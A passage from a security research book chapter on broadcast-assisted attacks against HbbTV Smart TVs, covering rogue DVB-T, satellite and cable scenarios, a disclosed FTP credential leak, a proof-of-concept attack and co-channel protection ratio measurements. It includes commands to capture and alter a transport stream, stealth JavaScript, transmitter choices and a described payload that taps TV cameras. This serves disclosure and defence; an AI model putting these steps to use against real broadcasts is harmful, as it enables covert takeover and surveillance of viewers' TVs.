affected. The range is determined by the power ratio between the rogue and the
regular broadcast station, as received by the Smart TV antennas.
This attack has some similarities with man-in-the-middle (MITM) attacks in the
GSM network [34]. In GSM, mobile phones have to authenticate to the base sta-
tions, but not vice versa. In DVB-T, broadcast stations do not have to authenticate
to receivers, either. There is, however, a difference in the way frequencies are used,
which has significant side effects. In GSM, mobile phones repeatedly scan a list
of available frequencies to identify the strongest signal, which is then selected for
subsequent communication. This allows an attacker to operate a rogue base station
on an unused frequency, without the need to actually overpower the regular base
station’s signal. In DVB-T, TV sets’ tuners are fixed to the frequency of the cur-
rently tuned channel, which forces an attacker to overpower the regular broadcast.
In contrast to MITM attacks in the GSM network, this creates a “dead” area, in
which neither signal can be received properly; we call this area the mush zone (see
Sect. 3.7).
Off-Air Retransmission Scenario Another interesting target for attackers is broad-
cast relay stations or gap fillers [15]. They are used to fill coverage gaps due to
topographic obstacles, or to provide service to remote locations. The simplest form
is an on-channel repeater, which uses a directed antenna to receive the main station’s
regular broadcast signal. This signal is then filtered, amplified, and retransmitted on
the same frequency, resulting in an identical, but slightly delayed signal. Alterna-
tively, the relay station can additionally change the frequency of the output signal
and thus create a multi-frequency network (MFN). An attacker can try to overpower
the regular broadcast signal at the receiving antenna of the retransmission station,
if the signal is picked up off-air. Clearly this has the advantage that the attacker
can abuse the amplification service of the retransmission station and hence reach a
large region. There are thousands of broadcast relay stations in use worldwide. In
the US, low-power television (LPTV) stations are spread throughout the country,
operated either by broadcast networks or communities. The Australian government
allows so-called self-help providers to retransmit regular broadcasts in unserviced
areas [2]. The required source signal can be received either off-air, from the national
broadband network, or via the Viewer Access Satellite Television (VAST) platform.
Satellite
An attacker could also try to take over a satellite broadcast. There are two possi-
ble approaches: A large-scale attack against the uplink, and a medium-scale attack
against the downlink.
To overpower the uplink signal, an attacker has to provide a powerful signal; this
requires access to professional-grade equipment, i.e., a strong amplifier and large
parabolic antenna. This limits the range of potential attackers to either satellite earth
station (teleport) operators, well-funded organizations, or nation states. In 1986,
a part-time employee of a Florida teleport facility used an idle uplink antenna to
successfully override the legitimate satellite uplink signal of HBO, which became
known as the Captain Midnight incident [50, pp.551–553]. Further satellite hijack-
48 3 Broadcast
ing incidents [20] occurred during the 2006 Lebanon war and during the conflict in
Sri Lanka, for example.
To reduce the required rogue signal strength, an attacker could try to attenuate
the legitimate uplink signal by placing objects into the uplink path, e.g., a drone
or reflective balloons. Hypothetically, an attacker could also attempt to transmit an
inverse version of the original uplink signal to the satellite, creating destructive inter-
ference. Generating this inverse signal, however, is very difficult, if not impossible,
without a priori access to the original signal. Picking up this signal in the vicinity
of the uplink antenna is not an option, due to the short symbol duration2 used in
DVB-S: By the time the signal would reach the attacker’s receiving antenna, the
next symbol would already be leaving the uplink antenna towards the satellite.
Attacking the downlink is the easier option, albeit covering a far smaller area.
Contrary to the previous scenario, an attacker would target consumers’ receiving
satellite dishes directly. After having traveled 36000 km from the satellite to earth,
the regular broadcast signal arrives with very little power at receiving dishes. An
attacker can overpower this weak signal with a rogue signal that is transmitted
directly over-the-air to receivers on the downlink frequency. Due to the receiving
dishes’ alignment with the satellite position and not with the attacker’s transmit-
ter antenna, the attack signal will not benefit from the dishes’ antenna gain. This,
however, does not pose a problem for the attacker, as the rogue signal is orders of
magnitude stronger than the signal coming from the satellite.
The following example assumes that the satellite downlink has an EIRP of 52
dBW per channel, free-space path loss (FSPL) is 205 dB, and another 5 dB are lost
due to bad weather conditions [19, p. 283]. The consumer’s satellite dish adds an
antenna gain of 37 dB, which results in −121 dBW or −91 dBm at the LNB. This
gives an attacker using a small 1 W (30 dBm) amplifier a margin of 116 dB, tak-
ing into account a 5 dB channel/noise ratio required for QPSK with a code rate of
2/3 [9]. Further simplifying and considering only FSPL, an attacker could theoreti-
cally overpower a 10.9 GHz downlink signal at every LNB within a radius of nearly
1.4 km according to (3.11) in Sect. 3.7.2.
This conservatively assumes that the rogue signal does not benefit from the gain
of the receiving parabolic antenna. Depending on the angle at which the rogue sig-
nal hits the antenna, however, the signal might partly benefit from the antenna gain,
which could increase its reach. In general, this attack would further assume a direct
line-of-sight (LOS) connection, as DVB-S signals have no protection from interfer-
ence caused by multipath propagation (see Sect. 3.2). To achieve the best results, an
attacker would have to place the rogue transmitter at an elevated location facing the
receivers’ parabolic antennas. Similar to the previous terrestrial scenario, this attack
would create a mush zone and thus increase the risk of being detected. A simple
variant of this attack—terrestrial jamming—has been launched repeatedly in Iran,
according to multiple reports [46].
2A symbol rate of 27.5 MS/s gives a symbol duration of 36.36 ns, thus a symbol length of 10 m.
Cable
An attacker could also attack Smart TVs using the cable television system. The
rogue signal would be injected in cable distribution lines, e.g., on utility poles,
underground utility lines, or in the basement of apartment buildings. One way to
do this would be to disconnect the cable and connect a splitter to feed in the attack
signal. This could be further enhanced by inserting a band-stop filter for the tar-
get frequency in front of the splitter. In contrast to the previous methods, attacking
cable-based distribution requires physical access and—depending on the scenario—
might increase the chance of being detected; on the other hand, these attacks do not
create a mush zone, which works in favor of the attacker.
There is, however, another far more effective and thus dangerous way to attack
cable TV subscribers. Many cable TV operators employ a headend facility to receive
their source signal from broadcast satellites or terrestrial broadcast stations. These
facilities employ large satellite dishes or terrestrial antennas, from which the signal
is received, processed, and then distributed over the cable infrastructure. Cable TV
headends are usually unstaffed but physically protected. An attacker can target the
headend’s receiving antenna with a directed beam and thus overpower the regular
signal. As a result, the attacker-controlled signal is distributed through the headend
to a large amount of cable subscribers. Without rigorous monitoring, subtle changes
such as modifications to the AIT might go unnoticed over an extended period of
time. Similar attacks might be possible against IPTV service operators, if the source
material is acquired in the same way.
Advertisements
There is another option to gain control of the transmitted HbbTV app, which does
not require the attacker to target the DVB signal. Several broadcasting companies
offer ad campaign services, which allow advertising customers to provide their own
HbbTV apps to supplement the TV ad. An attacker could buy advertisement time
and provide a malicious HbbTV app, reaching millions of Smart TVs. Buying adver-
tisement time, however, involves registration with the broadcaster and significant
expenses, both of which may render such an attack unattractive.
The following example shows that involved parties are not yet aware of the secu-
rity risks associated to the careless treatment of HbbTV apps. During the research
for this book, we found a brochure of a major German broadcaster on the Internet
offering HbbTV ad campaigns to its advertisement customers. Apart from technical
details, this brochure also included login data to an FTP server, where customers
were supposed to deposit their HbbTV apps. This login data was available to any-
one on the Internet for more than two years, before we discovered it and informed
the broadcaster as illustrated in Fig. 3.4. A successful login is shown in Listing 3.1.
50 3 Broadcast
Request security Information Request Complete details

contact provided contact again provided
Initial publication Broadcaster Broadcaster Credentials changed

of credentials asks for further asks for complete and removed
on the Internet information details from the Internet
18
20
02
03 15
04 15
27
18
28
01
.1
.0
.0
.0
.0
.0
.0
.0
.0
2.
2.
3.
3.
3.
3.
5.
5.
6.
12
15
15
15
15
15
15
Fig. 3.4 Timeline for broadcaster’s publication of FTP credentials, our notification, communica-
tion, and broadcaster’s removal and change of credentials
Listing 3.1 Open FTP server for submission of HbbTV apps used for ad campaigns
1 # ftp hbbtv@ftp .****. de
2 Connected to ftp .****. de .
3 220 Welcome to **** FTP service
4 331 Please specify the password .
5 Password :
6 230 Login successful .
7 Remote system type is UNIX .
8 Using binary mode to transfer files .
9 ftp > passive
10 Passive mode : off ; fallback to active mode : off .
11 ftp > ls
12 200 PORT command successful . Consider using PASV .
13 150 Here comes the directory listing .
14 drwxr -xr - x 2 5381 505 8192 Dec 11
2012 *********
15 226 Directory send OK .
16 ftp > quit
17 221 Goodbye .
This would have allowed anyone to monitor the FTP storage and infect legit-
imate HbbTV apps with malware. Several million unique devices access this
broadcaster’s HbbTV service every month, according to their latest report.
Even though the credentials have been changed, issues remain with this prac-
tice of offering ad campaigns. First, plain FTP access is insecure, as credentials
and data are sent unencrypted and without integrity protection. Furthermore, if the
same credentials are handed out to all advertising customers, they can be abused to
alter future ad campaigns of competitors. Second, offering customers the ability to
host HbbTV content on their own servers poses severe security and privacy risks
to consumers. Malicious advertisers can collect data on consumers or even deliver
malware to STVs; the broadcaster has no control over the delivered HbbTV content.
3.6 PoC Attack 51
3.6 PoC Attack
We designed and implemented a PoC attack for the following reasons: First, to
demonstrate that broadcast-assisted attacks are feasible in practice and pose an
immanent threat to consumers, which helps vendors and standard bodies to under-
stand the risks and develop countermeasures. Second, being able to analyze an attack
in practice gives the opportunity to identify weak spots, both on the side of the target
and the attacker, and design efficient countermeasures. Finally, it allows us to verify
to what degree previously proposed attacks are feasible in practice.
3.6.1 Scenario
We chose to evaluate the terrestrial broadcast scenario (see Sect. 3.5.2) for our prac-
tical experiments. The final goal was to leverage DVB-T to transmit a malicious
HbbTV app that permanently infects a target Smart TV with our payload, with-
out any user interaction and without the user noticing. The following steps were
required to achieve this: Pick up a regular terrestrial broadcast transport stream, add
a malicious app and retransmit the modified transport stream, which exploits a local
vulnerability on the target Smart TV, and finally launches our payload. Figure 3.5
illustrates the MITM attack scenario that was chosen for our experimental analysis.
Fig. 3.5 Attack scenario: Regular broadcast is picked up (1), modified to include malicious
HbbTV app and retransmitted (2), invokes compromising media playback on target STVs (3), and
finally executes payload such as camera tapping (4). Note the shaded mush area, in which neither
signal has sufficient co-channel protection to be received properly (not to scale, cf. Fig. 3.12
52 3 Broadcast
3.6.2 Regular Signal Acquisition
To perform a stealthy attack, i.e., without the user noticing, it is necessary to trans-
mit the same program the user is currently watching. The transport stream can be
acquired in real-time by recording the terrestrial broadcast signal over-the-air. Many
cheap USB-based consumer DVB-T receivers are able to provide the entire trans-
port stream; a e 15 Terratec TStick+ based on the Realtek RTL2832U COFDM
demodulator was used for the PoC. On the software side, tzap tunes the receiver
to the target station and dvbsnoop acquires the raw transport stream, as shown in
Listing 3.2.
Listing 3.2 Signal acquisition and modification

1 # tune to station
2 tzap -r " Das Erste " &
3 # grab and save raw transport stream
4 dvbsnoop -b -s ts - tsraw > regular . ts &
5 # replace ait and object carousel
6 tsmodder regular . ts +2070 ait . ts +2171 oc . ts > rogue . ts
3.6.3 Transport Stream Modification
The transport stream is modified with the goal to automatically and immediately
launch the malicious HbbTV app on the target Smart TV. An important con-
straint is that this should work without any user interaction, i.e., the user cannot
be expected to change the channel or stop any currently active HbbTV app. Accord-
ing to the HbbTV standard, the only way to kill a running app via the broadcast
signal is to remove the app ID from the AIT. The modifications applied to the reg-
ular autostart app are thus the change of its ID and the change of its type from
AUTOSTART to PRESENT. At the same time, the malicious app is added with
an unused ID and type of AUTOSTART. As a result, the STV kills the running HbbTV
app and immediately starts the malicious app.
These modifications were performed with the open source tool collection Open-
Caster from Avalpa [3]. OpenCaster provides tools to generate SI and PSI tables,
including the required AIT. The tsmodder tool is then used to create the final trans-
port stream by replacing packets of the original AIT with the modified one.
Both transport mechanisms were evaluated, i.e., HTTP(S) and DSM-CC object
carousel. The latter can be created with the OpenCaster tool oc-update and added
to the output stream using tsmodder, as shown in Listing 3.2. To increase the level
of stealthiness, the regular autostart app is restarted once the TV is compromised
(see Listing 3.3). This is easily possible using the HbbTV API, which provides a
method to launch another application from within the currently running application.
3.6 PoC Attack 53
Listing 3.3 Javascript code to launch original HbbTV app after six seconds
1 setTimeout ( function ()
2 {
3 var appid = 13.15;
4 var aurl = " dvb :// current . ait /" + appid ;
5 var amgr = document . getElementById ( " appmgr " ).
6 getOwnerApplication ( document );
7 if ( amgr . createApplication ( aurl , false )) {
8 amgr . destroyApplication ();
9 }
10 }, 6000);
3.6.4 Retransmission
To retransmit the modified transport stream, a DVB-T transmitter is required. Sim-

plified, a transmitter reads in the MPEG-2 transport stream, performs the required
baseband processing, uses a digital-to-analog converter (DAC), mixes the baseband
signal with the (target) carrier frequency, and finally amplifies and transmits the RF
signal over an antenna. The baseband processing part can be performed in either
hardware or software; the latter being called Software-Defined Radio (SDR).
Transmitter
Representatives of the hardware category are the professional-grade DekTec DTU-
215, which has optional support for many other broadcast standards, too, and the
cheaper Hides UT-100C. SDR examples are the Great Scott Gadgets open source
HackRF and the professional-grade Ettus Research USRP B210. All of them differ
regarding signal strength, adjacent channel protection, and overall signal quality.
For the majority of the experiments conducted in this chapter, the cost-efficient UT-
100C was used.
A power meter, combined with a thermocouple sensor, was used to determine the
maximum RF power output the transmitters are capable of without adding external
amplifiers. Measurements were performed for a DVB-T signal with 16-QAM and
CR 2/3, at a center frequency of 522 MHz; the results are listed in Table 3.1.
Table 3.1 DVB-T transmitter options (RF power for DTU-215 from vendor specification)
Vendor Model Type Power [dBm] Price [$]
DekTec DTU-215 DVB/. . . (−15) ≥1,600
Hides UT-100C DVB-T 8 150
G.S.G. HackRF SDR −7 300
Ettus USRP B210 SDR 10.5 1,100
54 3 Broadcast
−40
HackRF
UT−100C
USRP B210
−50
−60
Power [dBm]
−70
−80
−90
−100
435 440 445 450

Frequency [MHz]
Fig. 3.6 Transmitter spectrum
−70 −70
Power [dBm]
Power [dBm]
−80 −80
−90 −90
−100 −100
−110 −110
505 510 515 520 525 530 505 510 515 520 525 530
Frequency [MHz] Frequency [MHz]
Fig. 3.7 Regular plus rogue signal
Another important aspect is the generated spectrum depicted in Fig. 3.6. The
HackRF signal is too weak to overpower existing signals and the signal leaks into
adjacent channels. The USRP can deliver the most output power, whereas the UT-
100C has the cleanest signal and is received error-free on the TV.
Figure 3.7 shows the spectrum of a transponder at 522 MHz and the same
transponder while a rogue transmitter is turned on. For this measurement, a TV
and an oscilloscope were each connected to a DVB-T antenna and the two antennas
were placed next to each other. The output power of the rogue transmitter was then
adjusted so that the TV would properly receive the rogue signal.
Amplification
An attacker would use an external amplifier to increase the signal range. Pro-
fessional distributors offer suitable 1W and 3W amplifiers for less than e400
and e1,000, respectively. The amplifiers will be matched with either dipole, log-
3.6 PoC Attack 55
periodic, Yagi-Uda, or parabolic antennas, depending on the attack scenario (see

Sect. 3.5.2). To further reduce costs, attackers could use second-hand or amateur
equipment.
Isolation
In a proper MITM scenario, the regular signal is acquired, modified and retrans-
mitted: This requires sufficient isolation between the receiving and transmitting
antenna, which is difficult to achieve without expensive professional equipment.
There are, however, several ways to solve this problem in practice. An attacker could
receive the signal outside of the mush zone and then use an out-of-band mechanism,
e.g., the Internet, to deliver the broadcast stream to the rogue transmitter. Alterna-
tively, if the source material is available prior to the transmission, e.g., an old movie,
there is no need for the attacker to operate a receiver. Finally, attacks could also take
place during commercial breaks, allowing the attacker to use arbitrary replacement
advertisements without raising suspicion.
3.6.5 Exploitation
The PoC attack exploits the media playback vulnerability presented in Chap. 2. A
malicious video is embedded in the HbbTV autostart app, which is automatically
started when the (invisible) app launches on the STV. When the STV tries to play
back the video, the vulnerability is triggered, which results in a root shell on the
STV. The video itself is never actually displayed and hence does not interrupt the
currently running broadcast.
The final step after having gained access to the TV is the execution of actual
malicious payload. The exploit establishes a connection to a remote server, which is
used to load and run arbitrary code on the STV. For demonstration purposes, we tap
into the STV’s camera and microphone and transmit the recorded stream over the
Internet in real-time (see Sect. 4.1).
3.6.6 Malicious App
An HbbTV app can be delivered either via HTTP(S) or the DSM-CC object
carousel [16]. In the former case, the app and any exploits are served from on a web
server and hence do not have to be transmitted via broadcast. From the attacker’s
point of view, this has the advantage that only a small app has to be transmitted,
which can then analyze the target platform and load an appropriate exploit over
the Internet. The advantage of transmitting the app and exploit(s) using the object
carousel is that it works even if the TV is not connected to the Internet or if the TV
is protected with a strict Internet firewall.
56 3 Broadcast
Experiments with the PoC attack revealed that the HTTP(S)-based attack is gen-
erally faster and that it is the only transport that allows for media playback exploits.
The receiver does not have to wait for all the data from the object carousel to arrive;
it can start fetching the small app immediately using the Internet connection.
The total time required to compromise a STV and hence for the attacker to be
on air with a broadcast signal is less than ten seconds.
Regarding the broadcast transport, the HbbTV runtime actually does try
to play back the carousel-delivered movie file and passes the URL dvb://.../
evil.mp4 down to the vulnerable libavformat library. The library, however, does
not know how to handle dvb:// URLs and therefore aborts the analysis before
the vulnerable code path is reached. This behavior is completely legitimate, as the
HbbTV standard does not specify the playback of media files loaded from the DSM-
CC carousel. Future work has to show if the push VOD feature introduced with
HbbTV 2.0 [24] allows for media playback attacks over the broadcast channel, too.
3.6.7 Disclosure and Reaction
We initially contacted the HbbTV association in June 2014 to responsibly disclose

our findings on HbbTV-assisted attacks. We renewed this offer in August, which
led to a live demonstration on a real device to the HbbTV Chairman in Septem-
ber. We have since been invited to demonstrate and discuss our results and possible
countermeasures at various meetings of the HbbTV group, and lately also the DVB
Technical Module for terrestrial broadcasts (DVB-TM-T) in January 2015. This col-
laboration has raised a thorough awareness for HbbTV-assisted attacks within the
HbbTV group, and has created an active process to specify future protection mea-
sures. In May 2015, the HbbTV group announced [25] that they had decided on
an approach based on the authentication of critical MPEG-2 sections; an approach
similar to the protection scheme proposed in Sect. 3.9. An updated specification
protecting against the HbbTV-assisted malware delivery presented in this chapter is
expected to be completed by the end of 2015.
3.7 Co-channel Protection Ratio
The considered attack scenario assumes a regular terrestrial broadcast and an

attacker broadcasting on the same channel, thus overpowering the signal in its vicin-
ity. If two different broadcasts arrive on the same physical channel, i.e., frequency,
3.7 Co-channel Protection Ratio 57
one of the signals has to be significantly stronger than the other for the receiver to be
able to decode it. The signal can be decoded as long as the ratio between the signal
strengths—the co-channel protection ratio (CCPR)—exceeds a certain threshold.
The weaker signal appears as noise to the receiver and is called co-channel interfer-
ence (CCI).
This ratio depends on the type of modulation and the chosen Forward Error Cor-
rection (FEC), given as code rate (CR). If the ratio drops below the threshold, nei-
ther signal will be decoded and the TV screen turns dark. As a result, the attack
creates three distinct areas of signal coverage: First, the area surrounding the rogue
broadcast station, in which the rogue signal strength exceeds the required CCPR
with regard to the regular broadcast signal. Surrounding this area is a second area,
in which neither the rogue nor the regular broadcast signal are strong enough to
exceed the required CCPR, respectively. We will call this the mush area, following a
term used in mediumwave broadcasting and SFNs to describe areas with echo-like
interferences outside of the guard interval. And finally, the remaining area, which is
serviced by the regular broadcast signal, exceeding the required CCPR with regard
to the rogue signal.
Determining these thresholds in practice is important, as they must be considered
when calculating attack ranges. Furthermore, TVs in the mush area will turn dark
during the attack, which can help detect attacks and pinpoint the position of the
rogue transmitter.
3.7.1 Measurements
To determine the CCPR for all combinations of modulation type and code rate (CR),
we implemented an automated measurement setup as illustrated in Fig. 3.8a. It con-
sists of two transmitters, a target TV, and a laptop controlling the measurements and
(a) (b) P
rogue
Rogue signal
No signal
(mush zone)
Regular signal
Fig. 3.8 CCPR measurement setup a Two transmitters and feedback over serial interface. b Progue
vs. signal reception
58 3 Broadcast
reading serial output from the TV—alternatively, HbbTV requests can be used for
the feedback channel if no serial output is available. Both of the transmitters use the
same settings for modulation and CR. They are placed close to the STV’s antenna
and have a direct line-of-sight connection, resulting in an AWGN propagation chan-
nel (see Sect. 3.2.2). One of the transmitters simulates the regular broadcast and
transmits with a low, fixed power. The other transmitter serves as the rogue station,
starting with sufficiently higher power output, which is subsequently decreased by
1 dB in each step. During each step, the TV’s serial output is monitored for changes
in the signal lock status of its receiver. The measurement setup is able to determine
CCPR values by associating the relation between the regular and the rogue station’s
power and the three above-mentioned states: Rogue broadcast, mush zone, and reg-
ular broadcast. If the receiver is able to maintain a steady signal lock for a period
of ten seconds, the current CCPR is deemed sufficient to launch a successful attack;
otherwise, an attack with this CCPR will result in mush zone. Figure 3.8b illustrates
the signals decoded by the STV depending on the rogue transmitter power Progue . All
measurements were repeated ten times and cross-checked on another STV model.
Neither the guard interval nor the transmission mode (2 or 8 K) had an influence on
the measured CCPRs. The resulting CCPR values are depicted in Fig. 3.9.
Reimers et al. [42, Table 11.7] and ETSI [11, Table A.1] provide carrier-to-noise
(C/N) ratios required to achieve a quasi-error-free (QEF) DVB-T transmission, i.e.,
less than one uncorrected error event per hour. ITU-R provides measured CCPR
values for a wanted DVB-T signal that is interfered with by another DVB-T sig-
nal [31, Table 15]. The values are chosen so that a QEF transmission is achieved,
including a typical implementation margin. Three different propagation channels—
20
CR
1/2
2/3
3/4
15 5/6
7/8
CCPR [dB]
10
QPSK 16−QAM 64−QAM
Fig. 3.9 Measured co-channel protection ratios

Table 3.2 CCPR measured according to the method presented in this section (Meas.) vs. calcu-
lated C/N values from Reimers et al. [42, Table 11.7] (Reim.) and ETSI [11, Table A.1] vs. CCPR
provided by ITU-R [31, Table 15]
Modulation CR Gauss Rice Rayleigh
Meas. Reim. ETSI ITU Reim. ETSI ITU Reim. ETSI ITU
QPSK 1/2 2.5 3.1 3.5 5 3.6 4.1 6 5.4 5.9 8
2/3 3.5 4.9 5.3 7 5.7 6.1 8 8.4 9.6 11
3/4 5.0 5.9 6.3 – 6.8 7.2 – 10.7 12.4 –
5/6 6.0 6.9 7.3 – 8.0 8.5 – 13.1 15.6 –
7/8 7.0 7.7 7.9 – 8.7 9.2 – 16.3 17.5 –
16-QAM 1/2 8.0 8.8 9.3 10 9.6 9.8 11 11.2 11.8 13
2/3 10.0 11.1 11.4 13 11.6 12.1 14 14.2 15.3 16
3/4 11.0 12.5 12.6 14 13.0 13.4 15 16.7 18.1 18
5/6 12.5 13.5 13.8 – 14.4 14.8 – 19.3 21.3 –
7/8 13.0 13.9 14.4 – 15.0 15.7 – 22.8 23.6 –
64-QAM 1/2 11.5 14.4 13.8 16 14.7 14.3 17 16.0 16.4 19
2/3 15.0 16.5 16.7 19 17.1 17.3 20 19.3 20.3 23
3/4 16.5 18.0 18.2 20 18.6 18.9 21 21.7 23.0 25
5/6 18.5 19.3 19.4 – 20.0 20.4 – 25.3 26.2 –
7/8 19.5 20.1 20.2 – 21.0 21.3 – 27.9 28.6 –
Values are given in dB for Gaussian, Ricean, and Rayleigh propagation channels
AWGN, Rice, and Rayleigh (see Sect. 3.2.2)—are considered; ITU-R provides theo-
retical correction factors for different DVB-T system variants and propagation chan-
nels [31, Table 50]. Table 3.2 lists the values from our measurements, together with
the values from Reimers, ETSI, and ITU. Compared to our measurements, the val-
ues from ETSI and ITU are roughly 1 dB and 3 dB higher, respectively; the calcu-
lated values given by Reimers are slightly higher than the values measured by us
and slightly lower than the values given by ETSI (with the exception of 64-QAM
and CR 1/2). Reimers, ETSI, and ITU target QEF transmissions, whereas our mea-
surements reflect the minimum CCPR required to launch a successful attack. This
“application” tolerates a significantly higher bit error rate (BER) than the QEF trans-
mission desired for high-quality broadcasts: It does not matter if the picture quality
degrades for a few seconds as long as the receiver stays locked to the signal and the
(P)SI tables are received correctly.
60 3 Broadcast
3.7.2 Attack Range and Controlled Area
In free space, the power Pr received by an isotropic antenna is given by the Friis
transmission equation
λ 2
Pr = Pt (3.1)
4π d
in watts, where Pt is the equivalent isotropic radiated power (EIRP), d is the dis-
tance between transmitting and receiving antenna—the T-R separation—and λ is
the wavelength (both in meters). The corresponding free-space path loss (FSPL) is
2
Pt 4π d
FSPL = = . (3.2)
Pr λ
For the remainder of this chapter, power and path loss are expressed in decibel (dB)

4π d
FSPL = 20 log10 . (3.3)
λ
For terrestrial transmissions, however, different propagation conditions apply

than for free space. The effects of various propagation mechanisms such as reflec-
tion, diffraction, and scattering in general must be taken into account, as well as
antenna gains and coupling losses [38]. Numerous propagation models exist that can
be used to estimate received signal levels as a function of distance between transmit-
ter and receiver, with varying accuracy and complexity. The Log-Distance path loss
model [41] is an extension of the Friis model; it reflects that the average received
signal power decreases logarithmically with the distance. This is accounted for by a
path loss exponent n that describes the rate at which the signal power decreases. In
free space, for instance, n is equal to 2, whereas obstructions will increase the value
of n. The resulting large-scale average path loss for a distance d > d0 between a
transmitter and receiver is

d
PL(d) = PL(d0 ) + 10n log10 (3.4)
d0
where PL(d0 )—or PL 0 —is the reference path loss, i.e., the average path loss at a
reference distance d0 . It is calculated either by using the formula for FSPL given
in (3.3) or by actual field measurements at d0 . Two locations with the same distance
d from the transmitter, however, may vary largely in the amount of surrounding
environmental clutter. The corresponding signal levels may therefore differ signifi-
cantly from the average value estimated by (3.4). This effect—log-normal shadow-
ing [41]—can be accounted for by adding a zero-mean, Gaussian-distributed ran-
dom variable X σ with standard deviation σ

d
PL(d) = PL(d0 ) + 10n log10 + Xσ . (3.5)
d0
Since an attacker is generally more interested in covering the largest possible area
than its exact shape, we will ignore log-normal shadowing and thus assume X σ = 0.
To estimate the threat posed by a small-range attack as described in Sect. 3.5.2 —
an attacker targets all STVs in the vicinity—it is important to assess the size of the
area controlled by an attacker with a rogue transmitter and low-power amplifier. For
a TV to be able to receive a wanted signal in the presence of an unwanted signal,
the CCPR of the wanted signal, αwanted , has to be taken into account so that the
following condition regarding the received power at the TV’s input is met:
Pr,wanted ≥ Pr,unwanted + αwanted . (3.6)
Here, the wanted and unwanted signals are the rogue and regular signal, respectively,
and (3.6) thus becomes
Pt,rogue − PL(drogue ) ≥ Pt,reg − PL(dreg ) + αrogue . (3.7)
In general, it can be assumed that the power radiated by the regular broadcast station
is much higher than that of the rogue station, i.e., Pt,reg Pt,rogue . An attacker
will therefore have to target areas where the power Pr,reg received from the regular
broadcast station is weak, i.e., Pr,reg Pt,reg ; for reasons of simplification we will
assume that Pr,reg is constant in the area under attack. Using (3.5), the maximum
distance drogue from the rogue transmitter at which TVs will be able to receive the
rogue signal can be calculated as

drogue
Pt,rogue − PL 0 − 10n log10 ≥ Pr,reg + αrogue (3.8)
d0

drogue
10n log10 ≤ Pt,rogue − Pr,reg − αrogue − PL 0 (3.9)
d0
Pt,rogue −Pr,reg −αrogue −PL 0
drogue ≤ d0 · 10 10n . (3.10)
For FSPL up to d0 , PL 0 is substituted with (3.3), and (3.10) thus becomes

n2
λ Pt,rogue −Pr,reg −αrogue
drogue ≤ d0 · 10 10n . (3.11)
4π d0
Finally, the attacker-controlled area is
Arogue = π drogue
2
. (3.12)
Typical urban and rural radio channels have a PLE ranging from n = 2.2 to
4.35: Measurements conducted in four German cities resulted in an overall mean
PLE of n = 2.7, for a FSPL reference distance d0 = 100 m [44]. In Santander [40],
measurements at a 10 km distance from the transmitter situated on top of a 540 m hill
revealed a PLE of 2.17, 2.59, and 2.89 for zones with LOS, obstructed by buildings,
and obstructed by low hills and buildings, respectively (d0 = 1 m).
62 3 Broadcast
3.7.3 Comparison to Previous Work
The CCPR was ignored in previous work [37], which calculated the attacker’s range
solely based on FSPL. In its calculation, a target TV would decode the rogue signal
under the sole condition that it was stronger than the regular signal, without spec-
ifying any margin. We extend this equation to include the required CCPR αrogue ,
which now gives us the maximum distance drogue from the rogue transmitter at
which receivers are still able to receive and decode the rogue signal. In addition,
we replace FSPL with a generic path loss model that allows for more realistic path
loss exponents of n > 2.
With the FSPL model (n = 2) and no CCPR (αrogue = 0), an amplifier of
Pt,rogue = 1W (30 dBm) output power, a frequency of 500 MHz, and a received regu-
lar broadcast signal strength of Pr,reg = −50 dBm, an attack range of drogue = 477 m
is calculated in the paper [37]. Based on this radius, the authors state that an attacker
can control an area of 1.4 km2 . This seems to be an error, as calculating the con-
trolled area with π drogue
2
should yield approximately 0.7 km2 .
If we take the required CCPR into consideration, the attack range and hence the
controlled area is reduced significantly. A regular broadcast with 16-QAM modula-
tion and a CR of 2/3—by far the most common terrestrial setting in Germany (see
Table 3.3)—requires a CCPR of 10 dB according to Fig. 3.9.
Using this CCPR αrogue = 10 dB with (3.10) yields a maximum attack range
drogue of 151 m, less than a third of the initially assumed 477 m. The con-
trolled area is hence 0.07 km2 , i.e., roughly 20 times smaller than originally
claimed [37]. This also severely impacts the paper’s risk assessment.
This area is reduced even further, if a more realistic propagation model than
FSPL is applied, i.e., a PLE n > 2. Figure 3.10 shows the rogue transmitter power
that is necessary to control a circular area of a given radius, taking into account the
required CCPR αrogue and various path loss exponents n found in the literature [40,
44]. The calculation is based on a model that assumes FSPL from the transmitter
antenna up to a reference distance d0 . From that point on, the signal suffers a path
loss with a PLE of n > 2. This is illustrated in Fig. 3.10a, b for common reference
distances d0 = 100 m and 1 m, respectively.
Table 3.3 DVB-T transmission parameters in use by German broadcast stations [47]
Code rate QPSK 16-QAM 64-QAM
1/2 – – 21
2/3 6 514 38
3/4 – 5 –
(a)
(b)
Fig. 3.10 Required rogue transmitter power Pt,rogue as a function of attacker-controlled radius
drogue , CCPR αrogue , and PLE n; assuming received regular transmitter power Pr,reg = −50dBm,
center frequency f = 500 MHz, and 16-QAM modulation with CR 2/3 a FSPL reference distance
d0 = 100 m b FSPL reference distance d0 = 1 m
3.7.4 Mush Zone
An important aspect of the CCPR in the context of terrestrial attacks is the mush
zone. It occurs in regions where neither the rogue nor the regular signal are able
to achieve the required CCPR. As a result, receivers are unable to lock onto either
64 3 Broadcast
signal and the TV screen stays dark. We call the area, in which receivers are able to
lock onto and decode the rogue signal, the attacker-controlled area. Adding together
this area and the mush area results in the total attacker-affected area.
Reliably determining the exact extent of the mush zone for a particular loca-
tion would require detailed topographic information on the location and extensive
simulations. Instead, we are interested in general properties of the mush zone and
therefore a few simplifications are made. An attacker will target an area that is rather
far away from the regular station, due to the significantly smaller power output of
the rogue station. At this distance and for the comparatively small area affected by
the rogue station, it will be assumed that the signal strength of the regular broadcast
is nearly constant in the attacker-affected area and that the attacker uses an omnidi-
rectional antenna. As a result, the shape of the attacker-controlled area and the mush
zone is a circle and an annulus, respectively.
In general, the signal strength of the rogue transmitter decreases with an inverse
square-law to fourth-law dependence on distance. The mush zone starts where the
rogue transmitter’s signal strength cannot maintain the required CCPR αrogue with
respect to the regular signal, and extends to where it has become so weak that the
regular signal achieves the required CCPR αreg , i.e., drogue < dmush < dreg . If both
signals share the same modulation type and code rate, the mush zone corresponds
to twice the CCPR. If they use different parameters, this is the sum of both CCPRs
(cf. Fig. 3.12). The ratio between the radii drogue and dreg of the attacker-controlled
and attacker-affected area, respectively, can be calculated using (3.10) as
−αrogue
+c
drogue = d0 · 10 10n (3.13)
αreg
+c
dreg = d0 · 10 10n (3.14)

α +αreg
drogue − rogue
= 10 10n
. (3.15)
dreg
This means that the ratio between the two radii only depends on the corresponding
